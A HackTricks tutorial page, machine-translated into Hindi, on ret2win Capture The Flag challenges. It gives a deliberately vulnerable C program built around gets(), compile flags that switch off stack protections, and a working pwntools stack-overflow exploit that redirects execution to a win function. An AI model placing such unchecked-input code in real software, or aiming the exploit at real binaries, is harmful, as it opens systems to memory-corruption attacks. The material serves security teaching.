hacktricks/binary-exploitation/stack-overflow/ret2win.md

13 KiB

Ret2win

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूलभूत जानकारी

Ret2win चुनौतियां Capture The Flag (CTF) प्रतियोगिताओं में एक लोकप्रिय श्रेणी हैं, विशेष रूप से उन कार्यों में जो बाइनरी उत्तेजन को शामिल करते हैं। लक्ष्य एक दिए गए बाइनरी में एक संक्षिप्त, अबिन्वोक्ड फ़ंक्शन को निष्पादित करने के लिए एक संक्षिप्तता का उपयोग करना है, जिसे आम तौर पर win, flag आदि कुछ नाम दिया जाता है। यह फ़ंक्शन, जब निष्पादित किया जाता है, आम तौर पर एक झंडा या सफलता संदेश प्रिंट करता है। चुनौती आम तौर पर स्टैक पर वापसी पता को ओवरराइट करने को शामिल करती है ताकि निर्दिष्ट फ़ंक्शन में निष्पादन फ्लो को भटकाया जा सके। यहाँ एक और विस्तृत स्पष्टीकरण है उदाहरणों के साथ:

C उदाहरण

एक सरल C कार्यक्रम का विचार करें जिसमें एक सुरक्षा दोष और हम बुलाना चाहते हैं win फ़ंक्शन:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

किसी भी स्टैक सुरक्षा के बिना और ASLR अक्षम करके इस प्रोग्राम को कंपाइल करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: कार्यक्रम को 32-बिट बाइनरी के रूप में कंपाइल करें (यह ऐच्छिक है लेकिन CTF चैलेंज में सामान्य है)।
  • -fno-stack-protector: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को अक्षम करें।
  • -z execstack: स्टैक पर कोड का क्रियान्वयन करने दें।
  • -no-pie: पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल को अक्षम करें ताकि win फ़ंक्शन का पता बदले बिना रहे।
  • -o vulnerable: आउटपुट फ़ाइल का नाम vulnerable रखें।

Pwntools का उपयोग करके Python अभियांत्रिकी

उत्पीड़न के लिए, हम pwntools का उपयोग करेंगे, जो एक शक्तिशाली CTF फ़्रेमवर्क है जो उत्पीड़न लिखने के लिए है। उत्पीड़न स्क्रिप्ट एक पेलोड बनाएगा ताकि बफ़र को ओवरफ़्लो करें और वापसी पता को win फ़ंक्शन के पते से अधिलेखित करें।

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

विजेता समाधान का पता लगाने के लिए, आप gdb, objdump, या किसी अन्य उपकरण का उपयोग कर सकते हैं जो बाइनरी फ़ाइलों की जांच करने की अनुमति देता है। उदाहरण के लिए, objdump के साथ, आप इस्तेमाल कर सकते हैं:

objdump -d vulnerable | grep win

यह कमांड आपको win फ़ंक्शन के असेंबली को दिखाएगा, जिसमें इसका प्रारंभ पता शामिल है।

Python स्क्रिप्ट एक ध्यानपूर्वक तैयार किया गया संदेश भेजता है जो vulnerable_function द्वारा प्रसंस्कृत किया जाने पर बफर को ओवरफ़्लो करता है और स्टैक पर वापसी पता को win के पते पर ओवरराइट करता है। जब vulnerable_function वापस लौटता है, main या बाहर निकलने की बजाय, यह win पर जाता है, और संदेश प्रिंट होता है।

सुरक्षा

  • PIE को अक्षम कर देना चाहिए ताकि पता हमेशा समान हो या फ़ंक्शन को कहां स्टोर किया जाएगा, वह हमेशा समान नहीं होगा और आपको पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि जीतने का फ़ंक्शन कहां लोड हो रहा है। कुछ मामलों में, जब ओवरफ़्लो का कारण फ़ंक्शन read या समान होता है, तो आप विन फ़ंक्शन को कॉल करने के लिए रिटर्न पता को बदलने के लिए 1 या 2 बाइट का आंशिक ओवरराइट कर सकते हैं। ASLR काम करने के कारण, आखिरी तीन हेक्स नाइबल्स को याद नहीं किया जाता है, इसलिए सही रिटर्न पता प्राप्त करने के लिए 1/16 चांस (1 नाइबल) है।
  • स्टैक कैनेरीज को भी अक्षम कर देना चाहिए या संकटग्रस्त EIP रिटर्न पता कभी भी अनुसरण नहीं किया जाएगा।

अन्य उदाहरण और संदर्भ